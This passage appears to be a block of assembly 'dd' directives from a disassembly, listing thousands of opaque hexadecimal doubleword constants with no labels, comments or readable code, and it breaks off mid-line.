dd 0AA1B690Fh, 0A040FA4Ch, 3A2CD68Ch, 0B001AE5Eh, 1B333CD1h dd 28488056h, 0DCD9C57Ch, 0F66C19FEh, 0E86D302Ch, 0BE05D8ABh dd 2D0F71CBh, 33F90281h, 9D3AE0E7h, 7CF317Ah, 80491359h dd 0F1D12969h, 0BCEDE7h, 967FA867h, 3E55EAABh, 6CD15360h dd 2E2835h, 0E18E4386h, 0C2A448DAh, 6800F67Ah, 81896A24h dd 37566BADh, 2691BBE2h, 660041AEh, 5ECCA390h, 1401A6h dd 10A5F52Ah, 0F8CE83E3h, 0B59D6B00h, 54D3B97h, 26E65C91h dd 7234AD00h, 217689A3h, 0F004CE76h, 0F7A13526h, 5BAA16C0h dd 1ED63DF2h, 0B9DF4300h, 7E72DC4Dh, 27A72500h, 53026C19h dd 7F17E84Ch, 6F97008Eh, 1F545B07h, 0FF06D39h, 0AFCE1C1Dh dd 36C2F7C0h, 80A2E1h, 472ECA25h, 0A18BFC57h, 77012D98h dd 4CCDE5E3h, 0A570F537h, 0D8000AFh, 0EE50D051h, 0FB00B12Eh dd 56BA5711h, 6930FEh, 0A97CECCBh, 4D810DC5h, 0BFEBD239h dd 771E8037h, 0AE3BF7B5h, 2B45072Fh, 2002E315h, 0E24DCDC7h dd 2E1FAFECh, 0A0450E80h, 1681431Fh, 99FCB3EBh, 4C4A0095h dd 23205FC8h, 3503042Fh, 651609EDh, 0E028A6DFh, 86C899Ch dd 694244A6h, 4453A844h, 0E4841095h, 416D8941h, 12079E28h dd 47E010F4h, 14413189h, 9812ACF8h, 893A1910h, 0AFDD0935h dd 115B3C11h, 0F9131B71h, 0AD244C4h, 0B19D6048h, 0B045C680h dd 37E80Eh dd 0EAC74D06h, 5FC01612h, 0DC0A3E00h, 0BFCED45Bh, 238A3E56h dd 2984B400h, 219C67DEh, 8FFFD600h, 3B391018h, 0BFC00004h dd 12A5A1B8h, 86B89B89h, 7A7C4126h, 3280931Fh, 0A3CD1D07h dd 0DBF60179h, 44732D63h, 22A02A65h, 0C8E22C86h, 0C2BA00FAh dd 3AC97237h, 0B268700h, 55D0FE97h, 5BF10310h, 0AE2FAA4Fh dd 5085DCh, 9158292Bh, 52008C3Ah, 0D8E8F03Ch, 0EAEB185h dd 8192DBDEh, 69A52B41h, 0C497C824h, 15028471h, 93BEB03h dd 0AA58839Eh, 0CC308034h, 754500D1h, 100F1BBFh, 60029F4h dd 11C09DF6h, 3C49DDA2h, 30033CCDh, 4DA97986h, 5FAED098h dd 20037A1Fh, 46022380h, 18B84D4h, 0C19C33A7h, 0CCD662DDh dd 1C029152h, 3BADD856h, 3100FDE0h, 38E74DBDh, 2104B800h dd 0A0EDECC5h, 0C81600A5h, 63A7CC5Ah, 1505A195h, 0CE380D8Fh dd 0D48A24C0h, 903EC024h, 596E916Ah, 790036ECh, 7B113470h dd 0E04C096h, 9B5CBB42h, 128ED360h, 1C00B873h, 0F015F870h dd 0B7C663h, 0C50872E3h, 0CCBC961Bh, 668C6F00h, 0E84FB9B2h dd 416D00F4h, 19C312D7h, 0BD1C25DCh, 0BAC09A2Ah, 66B9A167h dd 64800ACh, 70C324D3h, 840012D6h, 6E1ECA01h, 7EF0ED10h dd 0F3580A6Ch, 0C0FB2Eh, 0FD91448Ah, 670046DEh, 7E4B4514h dd 18424009h, 941107Bh, 0F9002E77h, 1DA34818h, 7A023Eh dd 856529EFh, 825C4B03h, 1C20C503h, 0DF6E4376h, 0D448B1F0h dd 5EE13ABDh, 8CDA1409h, 0A95A9680h, 3900D504h, 43A3FCB6h dd 1EA686E9h, 9DD96E16h, 0E85F3Ch, 0F9269083h, 2B5011BDh dd 46484D80h, 339F000Ch, 0C439A47Ah, 12550035h, 76ED5498h dd 0CA12DD4Ah, 1800135Ah, 1E6C2C8Eh, 10F055h, 2163939Eh dd 0B872F25Ch, 5FBC4E00h, 56479165h, 84C60A01h, 8CF13Fh dd 0B16E6F23h, 1900C1BEh, 0A1F4809Fh, 81562Fh, 25D5F25Fh dd 4439F615h, 0FE002976h, 0EAF847B2h, 77029F01h, 0F1AE006Eh dd 9D3669A6h, 0FD129CB0h, 0AC0AD0D8h, 0A907B245h, 0CCD33150h dd 0C2F8A09Fh, 0F77776h, 879DAC77h, 9635450Ch, 0FD4F6D01h dd 7F78F582h, 9EBA8040h, 1764005Ch, 7468DFFh, 87055344h dd 5F914CA7h, 3804EE80h, 0E780037Bh, 2A1D09A3h, 1F3051A0h dd 5768E10Fh, 77492742h, 43549A82h, 33F3C998h, 0D56E0h dd 850AD7Eh, 7B5959Bh, 0B496CA03h, 0F012D0E3h, 3A9954B7h dd 9B00E448h, 0B34ADA4Eh, 8070256h, 0A8CB3B07h, 45E2D530h dd 819D3013h, 0B9B46990h, 0BCACFC50h, 0B7B67100h, 9AC910D0h dd 50E7767Ch, 26EA84A5h, 195C7DC0h, 20C5B03Ah, 80005141h dd 0FDFBF64Dh, 12D9D98h, 427704A6h, 704819CDh, 5100AE19h dd 3B4BD546h, 147E307h, 74E6AC55h, 0F88CEBA1h, 10007344h dd 2B6B5B4Dh, 1476E880h, 0AC5FA722h, 78D51500h, 0CC37A291h dd 0AB0003F8h, 0EFFC5DF0h, 2712D9h, 0B913D34Dh, 3FE9D56Fh dd 92F0D273h, 0FEC541Ch, 53F08140h, 395DE0h, 0DDF11F12h dd 137CDFA3h, 68FE9903h, 0E0DC2FC9h, 5EB9133h, 0F24489E8h dd 4965804Ch, 1D009F14h, 82F4D25h, 339ACB6h, 0D38ECD71h dd 6E805E20h, 6DFA5A9Dh, 0DF87F10Eh, 0C940BFE5h, 0FDFAA52Ah dd 8A093AA1h, 0D023C180h, 47F34A8Eh, 78494400h, 67B25CD1h dd 52D2057Ch, 806A41AAh, 2F64F3CCh, 0AB01F800h, 6007F919h dd 0A3FE7016h, 0CD090008h, 0F3E53DCEh, 31F998Bh, 0E7804DF5h dd 0E850EA01h, 0FAE600F9h, 0E3F35631h, 363C85DFh, 0F4D2DCh dd 9D2B07A0h, 38EF35B3h, 1D009155h, 47F5C702h, 38900FF7h dd 0E8D73C1Eh, 48875F00h, 0C1072Fh, 361B9980h, 356AD425h dd 1DF3BE00h, 59B488A1h, 0A9170094h, 0E70D6162h, 1A0068F9h dd 0CFA40FE5h, 131CD28Fh, 3DDB2FBh, 1D88D18Ch, 76F31000h dd 93911849h, 0E6D40A03h, 884A97h, 5137FF14h, 6A39AF24h dd 17801DF4h, 20914149h, 0EE20BFE0h, 0A6F50364h, 5E02525Dh dd 0BA086CE0h, 0EB8014B1h, 0DF517886h, 94045821h, 0E92F300h dd 0CF6D953Eh, 5BF78C1Fh, 4B3BFE40h, 6FD011Ah, 0D2B016C8h dd 0A300D0BCh, 8478942Fh, 1F6B9DF5h, 7C980F80h, 0CDDDE780h dd 26AB64ECh, 0F3F9DB06h, 0C06999h, 0F1AF7C15h, 1DFD12A2h dd 1A048100h, 798268CDh, 958458BFh, 83E64A00h, 9FFE2F4Fh dd 0FB5BDB07h, 0F730C148h, 1265A52h, 0FA731E69h, 0F4A17A65h dd 9601C52Fh, 0FD41B99Eh, 613077DAh, 0FFCD009Ah, 82F7873Fh dd 53EC261Ch, 9300D998h, 0A931B2FDh, 2E6457h, 486145B9h dd 127B6CDBh, 0D8960B1Dh, 1AE81B80h, 3ADC860h, 51560EBEh dd 181C6D33h, 3924474Bh, 0F6086A00h, 7F02E4Dh, 0A130DE56h dd 0E38AB0A0h, 443F5DE7h, 0B4C72804h, 0CE2402C0h, 0E4D461Eh dd 0D32AE2Ch, 4A9C0F80h, 0B9A1AA25h, 5E622008h, 0F6E5370Fh dd 0F0DD60A3h, 8FA4C1h, 69F3C25Fh, 32DF4D5Ch, 9ACC09C0h dd 3BD7A642h, 0DD80CD57h, 49B8279Dh, 0B3001389h, 0C5D69CECh dd 0FFB8EF5h, 0A0864C05h, 897E5580h, 7700F35Dh, 3438206Fh dd 2C3F3E03h, 7A7682Bh, 0C09E1FDDh, 6E1B58B3h, 5AFD0F07h dd 0A227E04Ah, 0EB459580h, 0E73801FBh, 2896A412h, 7F16005h dd 99BD1700h, 7D7EE6C4h, 4C0626D2h, 623700BBh, 1EC091B0h dd 0B14AC30Ch, 7AF38E6h, 7A236D0Fh, 7CA0C0F6h, 0F914D608h dd 978B8Ah, 97CE9679h, 0CA0466h, 0BDFC20FFh, 19506F32h dd 7E318600h, 0D25B532Dh, 3B9F00DFh, 1C73D1DAh, 0DB00872Eh dd 7AF676BCh, 0F484BBh, 5979A83Ch, 0F080A723h, 0DCA37800h dd 857D82ECh, 1B43E5Dh, 0C6524F00h, 0DE1A3719h, 61507100h dd 1FE9F3C4h, 0B89CE1EBh, 9870806Dh, 48F1A3EFh, 4D850500h dd 3A1D129Ah, 0CBC800D4h, 0AB29634Fh, 24067217h, 360D934Bh dd 9FE40098h, 0A2404E84h, 9A1DD4BBh, 9DC0F351h, 0E4128D3h dd 0F61D000Dh, 3FC8E39Fh, 550F4AB7h, 80294E7Ah, 54603DE0h dd 5CAF009Ah, 0F10A0B3Eh, 0B17480E4h, 7F868C1Fh, 53EABDEh dd 0AD504515h, 0CBD6C407h, 64D39410h, 62E231h, 2F24C25Dh dd 7832429Bh, 0E0813Ah, 0D92C114Dh, 707F30h, 67DAC3Ah dd 0F21A7B82h, 1007B200h, 2C6DF36Eh, 46A70C76h, 43DA5DF6h dd 8777CD02h, 60B0735Eh, 36A5CBCh, 0AF46EDDDh, 18EDC4E0h dd 2E980908h, 86E158h, 626EE00Bh, 1ACEE9h, 71BA355Dh, 7FB4A645h dd 1D22100h, 0C616ED69h, 0E98F458h, 15DF937Bh, 0D0E90092h dd 35E96159h, 1B3B2C1Fh, 25745780h, 1E20A1ECh, 0C98D3734h dd 7400DEFDh, 9F8F4409h, 0DA1C2100h, 5CBBA92Eh, 6DC6074Bh dd 0AB3A193Eh, 0C92D2402h, 83698A80h, 9F0113A0h, 400D1B4Bh dd 2970C4FDh, 3027338h, 4D4437Eh, 6E85664h, 0B6705FA1h dd 0B5FADAB0h, 2D345500h, 675AACF8h, 70AE488Dh, 0F194CF00h dd 0BC6BEBD0h, 44860F3h, 3A952600h, 8DFEF811h, 80E54909h dd 0BE3084h, 1898BBE2h, 67CE1DB6h, 43754CDEh, 28009DB8h dd 2A7A701Ch, 883E22h, 0B1790713h, 0B0E60A31h, 5EE83D50h dd 9509E707h, 47C02B8Ch, 1DB1B98Eh, 4F719640h, 9A607E97h dd 944F1AA3h, 804D8A00h, 2A20FAB2h, 0B6EC17h, 0A58C0336h dd 0EEB5E8A6h, 8746C48h, 419150h, 7483B04Dh, 8D26CA58h dd 0B051C7Eh, 9C1C1447h, 69072700h, 7D11E58Ch, 8EEE0465h dd 81A6FD08h, 0DCAF2058h, 0A203B25Fh, 59736596h, 0CB4DD048h dd 0C1FB0088h, 0E10E3E62h, 0F502723Bh, 8DF082CFh, 46604094h dd 27DA009Bh dd 0E044ED3Dh, 0B2016C7Bh, 11BF35CAh, 18316947h, 7D1490EFh dd 0A5238022h, 42EECE13h, 0D0240C40h, 9CBF1D1h, 40E8D8CFh dd 6AA4A000h, 51FDD65h, 5702B9BCh, 64DABBFAh, 495800D4h dd 17924BDBh, 189802C3h, 7520550Fh, 0F80320C6h, 1F9D30F0h dd 0C01C222Fh, 98874189h, 0C0FAA94Dh, 0A1FC4500h, 0B5846A56h dd 7249FAB9h, 0F44490CEh, 0DBE60075h, 5E194D62h, 50001FC8h dd 310BB957h, 3880F827h, 0C6001665h, 0C710B237h, 80ED694Eh dd 4C9DBCE0h, 0A4241Eh, 56DA7EE5h, 5A0A983Ah, 40A1C52Ch dd 7B100403h, 22400066h, 7DF2ABBDh, 300039DFh, 32C8423Ch dd 0FD94F1Ch, 9B5A4A1h, 1800A9EBh, 5A9DF650h, 2346DF00h dd 8FCDDC0Fh, 57BB0743h, 0A0FFCBAFh, 0FCE5F36Bh, 64C15A00h dd 0DF95CAA2h, 4E731330h, 8D240041h, 7CF14D65h, 0AF49781h dd 0BDA20095h, 0A69C9324h, 9F515A23h, 0DE098308h, 90A49899h dd 52C412h, 4A326795h, 0B52EC981h, 0E8CA6901h, 6A7255Ch dd 206A2430h, 95006779h, 7A44D07Ch, 0EB25C09h, 45E98642h dd 76126E41h, 8CDCEC65h, 0FC474A00h, 3A0AA4CBh, 0A0710074h dd 347DCE2Dh, 71EE2ADh, 0FFF260h, 9E8D3B67h, 5F0706Fh dd 62EB8CCh, 212C81FFh, 93B44796h, 20831C14h, 0B724E800h dd 0A8285B94h, 1989073h, 0D2FF5661h, 50B810C1h, 86177EC8h dd 0C7EE3B03h, 0E80A0C48h, 32FDD02h, 4046BCE8h, 0EBE07714h dd 3C006672h, 1D30CFABh, 7254BB6h, 1732FBFCh, 0C0004F15h dd 0C1D7F6A6h, 5EC3A902h, 0C02704B6h, 0D429B8h, 9E288423h dd 0DB30226Dh, 0CF858h, 3C12C88Ah, 0B1555Ch, 0F47D7672h dd 0FC49DCE9h, 6AF21401h, 0CAB6D582h, 0A4C3D8h, 236BF694h dd 63CE6874h, 0B28D3A15h, 0FC710380h, 0A075C4EFh, 0F0DBCAC5h dd 0D8CD00EAh, 3D2EDE3h, 1E01DA01h, 1F6E3BA9h, 71D0CF70h dd 0A057E2E2h, 7B609AE9h, 1DEB038Ch, 7FD48ECEh, 0DA04DC3h dd 2A002175h, 5FE8A8C5h, 4A78EDh, 427CF4A6h, 5850EDBh dd 49287300h, 0DE4C1EC8h, 0A14F01D0h, 8F8DE472h, 63B820CAh dd 25901B98h, 8108BC3Fh, 279A8B92h, 0DC40D65Eh, 24584037h dd 1B039D9h, 0E25474Bh, 0F7B07088h, 85A8DD1Fh, 0ADB2D0C0h dd 4BAE0D2h, 0CA715884h, 738CD04Dh, 0DA00A6F4h, 0C0B0E9D6h dd 28286E22h, 95BC2140h, 0BC0014E2h, 0B18F165Fh, 0A52C1506h dd 3A012A7h, 34BA3976h, 91138AACh, 0D0440A36h, 1C907209h dd 3154450h, 39A924C1h, 9AE83C9Dh, 2B09A063h, 826FB2BEh dd 0E3401B0Ch, 0E3990C30h, 1E2E26C1h, 87BC7F39h, 5C8FFEAFh dd 0F07ABD83h, 1D7FA86h, 0A4A8A770h, 0CC4DC472h, 163D7119h dd 8EC98178h, 313568B0h, 7E8F830h, 0B337A3AEh, 0C0DF85D8h dd 0FC36EDF7h, 7200C890h, 85182443h, 3E0F64ECh, 0FA096612h dd 0AF806289h, 3170AFADh, 0EC199500h, 0EF37C7F3h, 2D2500B3h dd 4CCA84B0h, 6B00E5F5h, 0D5152783h, 7EDB7058h, 19574ECh dd 0F5698E2Bh, 0C8D1C024h, 0DBB855ACh, 3CD53600h, 4759494Eh dd 58ED7597h, 400B075h, 8B1500Fh, 7D28A7BEh, 9500B0A3h dd 4D3ABA26h, 331020h, 3110F4Eh, 2F1C0CD9h, 7C09DA60h dd 0E41316C7h, 0FC1D01AAh, 0E57EB0C4h, 0E46AFCC0h, 25AB1B19h dd 5ECF0B2h, 0BD36004Ch, 6FA9A543h, 170E40E6h, 0A0A22EB9h dd 29EE0354h, 398E0082h, 5AEEA10h, 7E26983Dh, 5E85B857h dd 0C0801996h, 803A1FA8h, 170EED45h, 603D7FD1h, 0FDD258B0h dd 0E1F00073h, 7E0AF6F7h, 5D38BEF1h, 0C6DF0028h, 24D28149h dd 1EFD001Fh, 89F0ED6Ch, 0D8B8604Dh, 0AB660100h, 8D22877h dd 56A9011Ah, 8DE9F812h, 9889E802h, 80DF7038h, 356C0469h dd 7094C19h, 63C99CE4h, 5D989C42h, 0D419D09h, 6A50207Dh dd 90C4DD16h, 303803D9h, 243EB6BCh, 0C0E8418Ah, 0F10EC80Fh dd 0C0AB6433h, 0C75AA274h, 0FD92001Fh, 0DAF77248h, 0A4A0A659h dd 0ECA02099h, 4B07B89Bh, 2D6C9749h, 197EB130h, 709E0FF4h dd 906559C1h, 0D3D4C098h, 0ED005E74h, 2FF36DACh, 7E471A53h dd 0F4F700C0h, 0C4CA85E4h, 4E30CB18h, 0EFEA9074h, 0A6AB0361h dd 4568242Eh, 357BC80Fh, 6ABAA0EBh, 0B0A086Bh, 0ECDFF9B7h dd 0F006EE81h, 0E1FFF84Dh, 6E306D00h, 881867FEh, 0F8E49828h dd 76417CA2h, 0CCDA2C69h, 0F95E009Dh, 164431D0h, 0E8AA3700h dd 0AE87457Dh, 0F68407C9h, 0A247D613h, 98442DDEh, 0C44C4900h dd 1B0CA5E8h, 74A6256Fh, 0E72AF002h, 90E49880h, 0F5096A63h dd 84C44B99h, 84800BD4h, 9A4D66A8h, 3E7F7EF0h, 6080CB2Fh dd 67EA6EC3h, 8C0296F6h, 3CED72C7h, 0E94C40D9h, 0E042000Ah dd 0DE1FB99Dh, 7B070DD2h, 99DF7293h, 0EC4CA0C9h, 0C46A33Ch dd 97DC39A1h, 0D5FEC288h, 0B4D69D00h, 0AB06F955h, 0FFD20AA4h dd 8C478Fh, 0B1AF0F7Dh, 3E00578Eh, 0A3C4B5F9h, 203BDF5h dd 0AD55ED60h, 0E2753439h, 78A44010h, 84800357h, 24315961h dd 80258AA3h, 135C10F2h, 418B0208h, 1B8116CEh, 9DA72560h dd 7F008C9Ch, 90D91346h, 40D54929h, 0A33E2000h, 2ADF4011h dd 0AB332806h, 0E308BF0h, 8639EFDh, 3010870Dh, 0F90392EBh dd 0B4A39F4Fh, 58DE4C03h, 8942CC00h, 79B0B906h, 8EBA193Ah dd 0A1A202B2h, 0EE4E9B98h, 1FB308E8h, 428CBh, 34806D92h dd 0D13A4215h, 8D590057h, 3593A664h, 0CC5200DBh, 4CF7AD7Ch dd 0F300CAEDh, 61018B48h, 50307Fh, 4D3630Ch, 6AFB3FA5h dd 1FC60300h, 257D194Ch, 77020F4Dh, 2480F422h, 21EFF08Dh dd 10CD307h, 898F0963h, 7C8B25h, 0D5F60B29h, 2E7C1F75h dd 5248C0B1h, 0E5AF9DEAh, 1D3D50B7h, 9199E0h, 0B45A84D3h dd 174A8DAh, 0CA4D8000h, 8D444A34h, 6A120B94h, 0F900AB0Fh dd 58CC26A2h, 5CAF8F03h, 0F86D1DC5h, 1CEED0BBh, 80D53039h dd 2B1B885Eh, 7A005751h, 3A033762h, 0F8C47424h, 5B16009Bh dd 22520972h, 61003D3Fh, 2E637A5Ch, 9A7439h, 0ECD83453h dd 8322A507h, 1891A0C0h, 0E2C663BCh, 445076Ah, 45CB3B72h dd 949040FBh, 83C99B57h, 1F58E03h, 8F3F48DBh, 0FC7A0EB0h dd 0F33100F7h, 10D31949h, 9F00FBEEh, 1B9C72C5h, 1697935h dd 38610F9Eh, 40A73B5Ch, 9053FDD8h, 0D6744800h, 0B659475Bh dd 727B0505h, 8081F628h, 0C3DB3430h, 145CF81Ch, 0FE9C97C7h dd 0EA4DECB0h, 0EBE92413h, 8F020C3h, 431520AAh, 75BD01BEh dd 8BBE18EDh, 0DF16C4h, 0E70FF670h, 227E9373h, 0AC9FA000h dd 8AF2747Ch, 2E3FB881h, 0AFFCh, 4385C704h, 630EBFE9h dd 0D4E5B590h, 945500F0h, 9FE0836Fh, 5ED40038h, 93C2AC75h dd 0B43DD14Fh, 99138017h, 0BB21C60h, 0BC8F0018h, 47F2AEB7h dd 402ED0E4h, 803FBCDBh, 36DF38A5h, 16D5FD6h, 798AAF03h dd 0D0D454E9h, 200064EEh, 463FFDC2h, 7DCBE8h, 0F4BF0274h dd 7F41B36Dh, 0A8518800h, 0EC936FDBh, 10D70026h, 9460AB5Bh dd 3F000AE5h, 9177D621h, 0FB46A4C3h, 73149D4h, 34368AB7h dd 4C070E5h, 0E600CE3Dh, 115B51F3h, 0A24A94h, 52DAF02Dh dd 42C3905Dh, 0D9537600h, 855C390Fh, 9298001Eh, 0E80AE6E9h dd 0A43C1405h, 0D607003Fh, 2A84F250h, 72E50288h, 0CEE17A97h dd 87DAD880h, 0E3009628h, 0F8465A70h, 9214E5h, 0C144DCDFh dd 9426CCEFh, 45DE5100h, 3073E4C2h, 611007Eh, 635808A5h dd 0EF327A2Dh, 2F81007h, 3E2FBC8Eh, 0FAA05B00h, 0FEF7D8h dd 0B6DB5EB7h, 32795D22h dd 9344ED00h, 12686C8Ch, 0A13400C9h, 0B26D9B0Ah, 4818B083h dd 0CFC8A7C0h, 0D0F960AFh, 42E5ED0Ah, 58BA400h, 84022FBFh dd 2240A006h, 24E57E8Dh, 47BE31h, 0CE6C8067h, 0B60C038Fh dd 98027271h, 25090634h, 588DE289h, 45B0A514h, 9C6E1638h dd 738A8D07h, 0C26CB340h, 104650B6h, 8238C042h, 94538112h dd 3324741Fh, 2700ED1Ch, 0F81D37B6h, 0B0A9719Fh, 0C7F30022h dd 365FB779h, 4000068Eh, 899CD0A8h, 139C10Ah, 0F055443h dd 0D0184AC6h, 0A200D2A9h, 4681C84Fh, 0CFBB74h, 3A11E666h dd 0C31AC599h, 738F980Fh, 0FA6220CBh, 18F1F94Dh, 0CC901D01h dd 0D13C5F1Ah, 0A47F80C8h, 0ED4744CFh, 0FE77F8Fh, 96B953F4h dd 345B6880h, 0CC00FED6h, 0CFA26F52h, 5AC13B4h, 0CD6DB92Fh dd 6BC3AA28h, 0E024A2B0h, 754C3Fh, 255CD936h, 0F5E0499h dd 3BFC1202h, 5F098C7Ch, 0ED948360h, 1E00D37Dh, 0E20CDFE7h dd 2EA8BF5Eh, 1D318A07h, 8F874072h, 0C1C73A31h, 0DF1D6A01h dd 748E4D2Bh, 7C8998F0h, 312909B1h, 68104FB3h, 46005985h dd 0E55D08DAh, 0CC4D20C3h, 6F219808h, 6A468200h, 4FC7A5C4h dd 6030008Ch, 0FF5789CBh, 2D00FB21h, 0FE0E2EF1h, 248DAFEAh dd 7000903h, 94D7ECA9h, 9F08902Bh, 5D7F02A1h, 3363C83Bh dd 9809B0h, 299FF21h, 0C41E7A35h, 0D9191CFAh, 0A898E6Eh dd 0C2081FECh, 943087D1h, 0DF02CE00h, 4918D963h, 0BC0AF53Fh dd 5CB30008h, 88893AEFh, 0EA56010Bh, 0D0CF280Ch, 0CDC0849Fh dd 20C581A7h, 47274440h, 66C9E6Bh, 84059434h, 13600863h dd 6B31C551h, 1C8F1847h, 6F3EF182h, 50C085FCh, 7F0E0C5Fh dd 0B90C018h, 0A31DA807h, 4FB73Ch, 3CAC466Eh, 1518199h dd 59448DF6h, 0C4E1541Ch, 40ECC9Bh, 0C03B83EDh, 0E4B11ECAh dd 0FC670013h, 5CDA6646h, 295C974Dh, 510072A7h, 3830F705h dd 0A86C3Dh, 73F1687h, 485FD168h, 0A6D6950Eh, 71492097h dd 0E15D06h, 0DE708E43h, 59BFB905h, 0BDDF2D01h, 0BE0A5493h dd 0FB97D8h, 0AAE97E5Bh, 87326771h, 0C78C8900h, 0E20425E0h dd 0C1E458h, 0B5CD9CC9h, 50AF0C88h, 0B1A26800h, 0BE8991BDh dd 426004Fh, 0F1C1D8DBh, 0D30B427Dh, 8F654A71h, 821D00E7h dd 2ABC6FEh, 0F5284831h, 0C9C0D8F9h, 0A8078C94h, 250E74B1h dd 0FF012A0h, 817F3948h, 3AEC2D83h, 0EC062D1h, 4100DAD4h dd 0F0015124h, 9B6DCh, 0ADB488A4h, 43B10F20h, 41260700h dd 489BE737h, 0CAC47575h, 550482C8h, 0B5FF00DCh, 1144704Ah dd 0D60B993Eh, 0D4238536h, 0E7C5001Dh, 763BDBCDh, 0E300697Bh dd 2A92A689h, 0C83A90h, 0C34CE883h, 0D8CDB69Ch, 2875C532h dd 254710A7h, 44B8C240h, 12EB65C6h, 6F45109Bh, 0B1086489h dd 84FF8144h, 30892F78h, 0B3443C41h, 12775311h, 0FC148471h dd 12C0EA21h, 68D11057h, 0C9218C8Bh, 0FC8614ADh, 6E1D2229h dd 4350D450h, 0C02FAC44h, 604E1051h, 0CF0E0655h, 0E021D070h dd 0C35F575Dh, 0EE3C72CCh, 23A901A7h, 6A8C5EB2h, 0DDABF080h dd 2152BE01h, 0ADCD7B6Fh, 0E590680h, 39902F8Dh, 17553E00h dd 0B33AE7EDh, 8EFA004Eh, 24E5DCD4h, 360054B9h, 530466CAh dd 38896AF3h, 0A40EABD9h, 0B5200D72h, 62C19C1Dh, 0B0F6C63Ch dd 0C9CBD040h, 0FD6E0060h, 3452214Bh, 8F24E476h, 0E50E0C63h dd 2AAD600Ah, 0A3979Ch, 0D822D454h, 7C5530CEh, 0A42BBC00h dd 4C7ACDF0h, 0F5FF00E2h, 4D820C45h, 1600FBADh, 0B35CC3D9h dd 3081D3Bh, 0BB464230h, 1100F645h, 0DEC5F987h, 604E6820h dd 0D33E8062h, 0E9043BB5h, 0A43FFBDFh, 92A35490h, 4DE08Ah dd 0BB5B6340h, 7DFBF18Fh, 961A3E00h, 0B3C9D6EBh, 462B00DDh dd 1C6BD03Fh, 7D75803Ah, 8C3CE301h, 3D21EBD5h, 0CB9FE06Bh dd 255F1C00h, 0E2C27565h, 91F70FA6h, 0BDF951h, 2E28F883h dd 8C5010AFh, 0EF00A280h, 0C8F0CC1Ah, 0E63C59h, 47D201E5h dd 0FF8DAEFBh, 0BC654900h, 4E6FCEEBh, 70960102h, 3191805h dd 9BB8F313h, 0F076357h, 0A68B60C2h, 0D34A6E70h, 15130087h dd 20368E02h, 0E000B893h, 2883723Ah, 48C9D48h, 4FA63D82h dd 0E16B8196h, 22CBFCB2h, 9A1BC400h, 77CE7E4Bh, 163C0086h dd 4F3311BFh, 0A00A9FAh, 0FD630FC5h, 0FE2299FBh, 0F040FF64h dd 0D107E0h, 4A8683B1h, 44AAEC36h, 33621D00h, 50D8324Eh dd 0D647003Bh, 0D26552ACh, 0AD0FCEABh, 0C0BBC260h, 0CBD10ADFh dd 5AC7862h, 0D307BCFBh, 2716C05Dh, 30E2C18Ch, 0AB332C00h dd 424D229Eh, 9B8803B9h, 8402F13Fh, 458392A8h, 40465607h dd 0FE30C274h, 0BF3425h, 50DDECC4h, 182758Eh, 8013A73Ah dd 9247352Ch, 11998Fh, 5BBD0573h, 28A40C36h, 35A2E212h dd 0E39245Eh, 0C37DB598h, 0C9DADD82h, 7C349550h, 0FAA605C5h dd 0BE66658Ah, 6DFCA680h, 0A86F0067h, 4616BA1Fh, 0EB14D1EDh dd 908434h, 0CEF19657h, 90014083h, 5FD631ACh, 0FC42C2B8h dd 95485406h, 74BC0014h, 0D8E9ECC1h, 0AB9E0FA0h, 0D4056B6h dd 65D5D493h, 0CAAD8A00h, 92EA3EC5h, 0CE340024h, 0AFED5011h dd 9100300Bh, 0BE3C72E9h, 0E4E12Fh, 88B10CBFh, 0EE8DA79h dd 0EECD3902h, 80E07A52h, 0F0047BC4h, 4121004Ah, 6D15A36Eh dd 3B078E9Ch, 975958C0h, 0F2C492D0h, 6556C068h, 0B7A66BEBh dd 4C528D00h, 4A9AE31h, 7C50007Ah, 6B68FD5Ch, 5905495Dh dd 3AE898A7h, 7743BC00h, 0F4305BA2h, 99CE0A97h, 3FA8C9B8h dd 0BA488280h, 84D91EC6h, 49C54700h, 0DFB2A9BDh, 0B33300C8h dd 4ACDBF4Bh, 0B5751A4Dh, 2900AFF8h, 0E8E07BC6h, 0BDEE34h dd 3B7C03D3h, 9D38CEA6h, 25357300h, 46F9DB5Bh, 38D84DB0h dd 0E4797D00h, 50E5CF1Ch, 88C43207h, 0D3C745E8h, 0B7EF0640h dd 1E72E84Dh, 0C0CAAF65h, 0DB9E63B3h, 1F3A1B5Ch, 0CF578066h dd 288E8311h, 0E0B00D3h, 40B32DC0h, 0FE00EC1Fh, 7EDD17C9h dd 25FD02h, 0FA21B0BDh, 6FD31AA3h, 55C16001h, 0E925FE8h dd 0F17860C6h, 5B090024h, 300A72FAh, 0D1000FCFh, 86B0CDD7h dd 7FE31Eh, 2E19A744h, 0B3433420h, 7D915B00h, 18ADFCC1h dd 9DEA0E3Ch, 1C20E39Ch, 836BC9D2h, 0BED0100h, 0B4403FE9h dd 0C182A01Eh, 2551097Dh, 1980506Bh, 0C8415A8Dh, 2B7E5D02h dd 697106BFh, 0BC2250E4h, 0FA618A09h, 0E0E3B000h, 0A307D9C3h dd 60F55BCDh, 0D8843F47h, 9C884080h, 504FC56h, 185C4DB0h dd 2504C0E2h, 0D1009655h, 0F3C26CA0h, 57052D6h, 0E871E107h dd 3230809Dh, 7400420Ch, 0C9CA03B8h, 10A8725Ch, 860DAFAh dd 25CED0h, 993C6952h, 0EA06638Ah, 0ECC2BF75h, 0FE95C68h dd 0D4150079h, 526DDF26h, 4B00AF7Bh, 580548B5h, 5768CDh dd 28DE20C3h, 0B16A4A4Dh, 0DC090600h, 55B65093h, 0FBA40095h dd 0AEB9FFF0h, 2700E0A3h, 402E7543h, 4F6F38h, 19C02386h dd 0C86882D8h, 0FF0EA572h, 0E9373Bh, 30FD3275h, 0BF560D14h dd 7BB8C98Dh, 3BD420A1h, 7D7B00FFh, 8A0D6FB0h, 9700F58Ch dd 176B1C69h, 1D8F10FCh, 451DDC88h, 808C5B1Eh, 0DBAF112h dd 0AA5D6703h, 0A9BE88BCh, 0F060927Dh, 130676A5h, 0E71EADh dd 49A43824h, 170F93F8h, 0C116F07Ah, 9F315909h, 0E185C330h dd 0CF035EDh, 427700E0h, 0F8B21D5Bh, 0FE14F26Dh, 1380A531h dd 6D008ADBh, 24205BD3h, 139B78D6h, 7CC7CDh, 64377402h dd 0B2763A65h, 2B028100h, 0E506EC39h, 42A80034h, 8DFB0393h dd 0BCEAD833h, 0BBA4B400h dd 0FC3A08B3h, 0EF120062h, 3340710Ch, 5E0023FEh, 0A4B56F59h dd 7D51EE8h, 0BE1CE994h, 0C0F554D9h, 169CBA68h, 39FF9000h dd 7C4E5C51h, 92FE0995h, 2180EDABh, 